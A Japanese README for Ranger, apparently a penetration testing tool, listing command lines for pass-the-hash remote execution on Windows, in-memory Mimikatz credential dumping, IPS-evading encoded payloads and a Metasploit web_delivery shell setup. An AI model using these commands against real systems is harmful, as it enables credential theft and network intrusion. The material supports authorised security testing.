ranger

セキュリティ専門家がリモートのMicrosoft Windowsベースのシステムにアクセスし、操作するためのツール。

このプロジェクトは、私たちは弓や矢を発明したわけではなく、単により効率的な使用方法を考案したという考え方に基づいています。

Rangerはコマンドライン駆動の攻撃・ペネトレーションテストツールであり、インスタンス化されたカタパルトサーバーを使用してWindowsシステムに対して機能を提供する能力を持っています。ユーザーが資格情報またはハッシュセット（NTLM、LM、LM:NTLM）を持っている限り、信頼関係にあるシステムにアクセスできます。

この機能を使用することで、セキュリティ専門家はメモリから平文の資格情報を抽出し、SAMテーブルにアクセスし、コマンドを実行し、PowerShellスクリプト、Windowsバイナリ、その他のツールを実行できます。現時点では、このツールは、カスタム調整されて検出されない限り、ほとんどのIPSベンダーソリューションをバイパスします。このツールは、法的および/または契約上サポートされた活動を行うセキュリティ専門家を支援するために、自宅のラボを使用して開発されました。

さらなる機能が追加されていますが、現時点では、PowerShell PowerView、PowerShell Mimikatz、Impacketチームに関連するリポジトリからのコミュニティ貢献を利用しています。

Rangerの管理:

インストール:

wget https://raw.githubusercontent.com/funkandwagnalls/ranger/master/setup.sh
chmod a+x setup.sh
./setup.sh
rm setup.sh

更新:

ranger --update

使用方法:

• Rangerはメソッドとアタックの組み合わせを使用します。メソッドはアタック/コマンドを配信するために使用されます。
• アタックは達成しようとしていることです。
• 一部の項目はメソッドとアタックの両方を兼ねており、一部のメソッドはライブラリやプロトコルの現在の制限により一部のアタックを使用できません。

メソッドとアタック:

--scout
--secrets-dump

メソッド:

--wmiexec
--psexec
--smbexec
--atexec

アタック:

--command
--invoker
--downloader
--executor
--domain-group-members
--local-group-members
--get-domain-membership
--get-forest-domains
--get-forest
--get-dc
--find-la-access

##コマンド実行: ###ログインユーザーの検出:

ranger.py [-u Administrator] [-p Password1] [-d Domain] --scout

###SMBEXEC コマンドシェル:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --smbexec -q -v -vv -vvv

###PSEXEC コマンドシェル:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -q -v -vv -vvv

###PSEXEC コマンド実行:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -c "Net User" -q -v -vv -vvv

###WMIEXEC コマンド実行:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec -c "Net User"

###WMIEXEC PowerShell Mimikatz メモリインジェクター:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker

###WMIEXEC Metasploit web_delivery メモリインジェクター（Metasploitの設定が必要。以下参照）:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader

###WMIEXEC カスタムコード メモリインジェクター:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -c -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds"

###ATEXEC コマンド実行:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --atexec -c "Net User" --no-encoder

###ATEXEC PowerShell Mimikatz メモリインジェクター:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker --no-encoder

###ATEXEC Metasploit web_delivery メモリインジェクター（Metasploitの設定が必要。以下参照）:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader --no-encoder

###ATEXEC カスタムコード メモリインジェクター:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds" --no-encoder

###SECRETSDUMP カスタムコード メモリインジェクター:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --secrets-dump

###貼り付け可能なMimikatzアタックの作成:

ranger.py --invoker -q -v -vv -vvv

###貼り付け可能なweb_deliveryアタックの作成（Metasploitの設定が必要。以下参照）:

ranger.py --downloader -q -v -vv -vvv

###貼り付け可能なExecutorアタックの作成:

ranger.py --executor -q -v -vv -vvv

グループメンバーとドメインの識別

• グループを識別する際は、--get-domain-membership を使用して実際のクエリドメインを確認してください。
• 次にグループをクエリする際は、オプションの --domain を使用すると、ログインしたドメインとは異なるドメインを対象にできます。

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --get-domain-membership
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --domain "Domain.local2"

##使用上の注意: ###Credファイルの形式:

• 同じファイル内で、以下の形式でユーザー名とパスワードまたはハッシュのリストを渡すことができます。

username password
username LM:NTLM
username :NTLM
username **NO PASSWORD**:NTLM
PWDUMP
username PWDUMP domain
username password domain
username LM:NTLM domain
username :NTLM  domain
username **NO PASSWORD**:NTLM domain
PWDUMP domain
username PWDUMP domain

###Credentialファイルの注意点:

• ファイルにドメイン名を指定した場合、デフォルトのWORKGROUPの代わりにそれらが使用されます。
• コマンドラインで -d を使用してドメイン名を指定すると、ファイル内のすべてのドメイン名を無視するものと見なされます。

###コマンドライン実行:

• ファイルを使用したくない場合は、コマンドラインから直接詳細を渡すことができます。
• パスワードの代わりにハッシュを指定する場合は、パスワード引数にハッシュを渡します。
• ハッシュがPWDUMP形式で、ユーザー名を指定しない場合、ハッシュからユーザー名が抽出されます。
• ユーザー名を指定すると、同じハッシュが別のユーザーに適用されると見なされます。
• パスワードには以下の形式を使用してください。

password
LM:NTLM
:NTLM
PWDUMP

###ターゲットと除外:

• ターゲットと除外は同時に使用できます。

####ターゲット、ターゲット範囲、ターゲットCIDR、ターゲットリスト、NMAP XMLターゲット:

• ターゲットリストを使用するか、ターゲットオプションを使用してターゲットのリストを提供できます。
• 複数のターゲットリストファイルをカンマ区切りで指定すると、データが集約され重複が削除され、デフォルトのインターフェースまたは指定したインターフェースから自分のIPアドレスが除外されます。
• ツールはCIDR表記、小規模範囲（192.168.195.1-100）、大規模範囲（192.168.194.1-192.163.1.1）、または単一IPアドレスを受け入れます。
• 同様に、コマンドラインでカンマ区切りにするか、改行区切りのファイルに入れます。
• Nmap XMLもターゲットシステムの指定に使用でき、これもカンマ区切りにできます。
• ツールはターゲットボックスを指定する前に正規化と重複削除を行います。
• 例: -t 192.168.195.1-100,192.168.195.200-192.168.198.3 -tl list1,list2,lis3 -tnX scan1.xml,scan2.xml

####除外、除外範囲、除外CIDR、除外リスト、Nmap XML除外:

• 除外引数を使用してターゲットを除外することもできます。そのため、クラスAの中の小さなクラスCに触れないようにしたい場合、ツールが自動的に処理します。
• 除外はターゲットとまったく同じ方法で実行できます。コマンドの t を e に置き換えるだけです。
• 例: -e 192.168.195.1-100,192.168.195.200-192.168.198.3 -el list1,list2,lis3 -enX scan1.xml,scan2.xml

侵入防止システム（IPS）:

• Mimikatz、Downloader、Executorは、他のサービスやプロトコルを呼び出してPowerShellメモリインジェクションを使用します。
• コマンドは二重エンコードされており、これらの攻撃をキャッチするように特別に調整されていない限り、現在のIPSソリューション（次世代も含む）をバイパスします。
• ATEXECは現在、ディスクに書き込まれ、エンコードされない唯一のものであり、まだいくつかの書き換えが必要です。

Invokerアタック:

• ターゲットボックス上でPowerShell Mimikatzを実行します。
• デフォルトの関数/コマンドレットはInvoke-Mimikatzで、-fで変更できます。
• デフォルトの引数はDumpCredsで、-aで変更できます。
• コマンドを変更する場合、Invokerは-fと-aの両方のオプションが必要です。-aを使用しないようにするには、Executorを使用できます。
• 例: -x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"

Executorアタック:

• ターゲットボックス上でバイナリやPowerShellスクリプトを実行できます。
• 攻撃ボックス上でスクリプトまたはバイナリが置かれている現在のディレクトリに存在する必要があります。
• スクリプトまたはバイナリはメモリに直接注入されます。
• ペイロード（バイナリまたはスクリプト）を-xで指定する必要があります。
• 関数/コマンドレット/引数を-fで定義する必要があります。
• 必要に応じて、-aでコマンドをさらに定義することもできます。
• 例1: -x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"
• 例2: -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds

Downloader（web_delivery）アタック:

• web_deliveryエクスプロイト用にMetasploitをセットアップするには、Metasploitを起動し、以下の条件を満たすようにエクスプロイトを設定します。

use exploit/multi/script/web_delivery
set targets 2
set payload <choose your desired payload>
set lhost <your IP>
set lport <port for the shell make sure it is not a conflicting port>
set URIPATH /
set SRVPORT <the same as what is set by the -r option in ranger, defaults to 8888>
exploit -j

##FAQ

###SMBEXECおよびWMIEXECのアクセス拒否エラー WORKGROUPの一部であるWindowsマシンでアクセス拒否エラーが発生しています。

ドメインに参加していない場合、Windowsはデフォルトで管理共有を持ちません。SMBEXECは共有が有効であることに依存しています。さらに、WORKGROUPマシンではWMICが有効になっていません。SMBEXECとWMIEXECは、ドメインシステムで有効なプロトコルをターゲットにするように作られています。WORKGROUPシステムでこれらの機能を有効にすることは確かに可能ですが、脆弱なプロトコルを導入することになります（結局のところ、このツールが攻撃対象としているものです）。大切な人がFacebookにも使うメインの家庭用システムでこれらの機能を有効にすることは、おそらく最良のアイデアではありません。

• これは自分が所有するテストボックスであることを確認してください。ここにある手順に従って共有を強制的に有効にできます: http://www.wintips.org/how-to-enable-admin-shares-windows-7/
• 公開されている共有を特定してターゲットにする場合は、enum4linux のようなツールを使用し、次に ranger の --share share_name 引数を使用して SMBEXEC の実行を試みることができます。

##今後の機能: ###カラー出力:

• https://pypi.python.org/pypi/colorama を使ったカラー出力の追加を継続
• WINDOWER – 特定の監視システムを避けるためにウィンドウを隠さずにPowerShellを実行
• GATHERER – ドメイングループの自動認証情報抽出
• HUNTER - Semi-Intelligent Decision (SID) – 分類ツリーを使用してグループメンバーシップの類似性に基づく権限昇格パスを特定
• NTDSとグループの解析の改善
• SMBカタパルトサーバー

#謝辞:

• PowerShell（そしてWindowsでのbashを先取りして）を提供してくれたMicrosoft
• CoreLabs Impacket Team
• PowerShellEmpire Team
• PowerSploitを開始し、PowerShellMafiaとその開発を続けてくれているコントリビューターのMattifestation
• 建設的なコミュニティを提供してくれた友人たちとコミュニティ

発表場所:

[BSides Charm City 2016: April 23, 2016] (http://2016.bsidescharm.com/2016-talks/ranger-it-just-takes-one-account-to-take-down-an-enterprise)

発表のビデオ:

[Video] (https://youtu.be/HrXTrPzdR2Q?list=PL0YXeUocWA4NAGPmYdKNmQEh8H6iL_4Ik)

このツールが含まれているディストリビューション:

[Black Arch Linux] (https://blackarch.org/)